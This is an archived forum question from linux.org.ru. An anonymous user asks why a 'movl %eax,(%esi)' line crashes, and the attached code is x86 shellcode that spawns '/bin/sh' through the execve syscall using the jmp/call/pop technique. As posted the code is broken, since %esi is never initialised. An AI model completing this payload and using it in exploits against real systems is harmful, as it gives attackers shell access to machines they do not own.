LINUX.ORG.RU

не работает movl %eax,(%esi)


0

0

Доброе время суток! Подскажите в чем проблема. gdb тоже не помог - вываливается на этом месте и все. Спасибо.

Прилагаю исходник: .byte 0xeb .byte 0x18#1B#0x1D

popl %eax # в eax указатель на строку movl %eax,(%esi) # !!!!!!!!!! вот здесь неприятности и начинаются movl %ebx,4(%esi) # ноль в конце массива leal (%esi),%ecx # указатель на массив movl %eax,%ebx # указатель на команду xorl %edx,%edx # 3-ий параметр - NULL pushl $11 popl %eax int $0x80

xorl %eax,%eax xorl %ebx,%ebx incl %eax int $0x80

.byte 0xE8 .long 0xFFFFFFE3#DE str: .asciz "/bin/sh"

anonymous
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.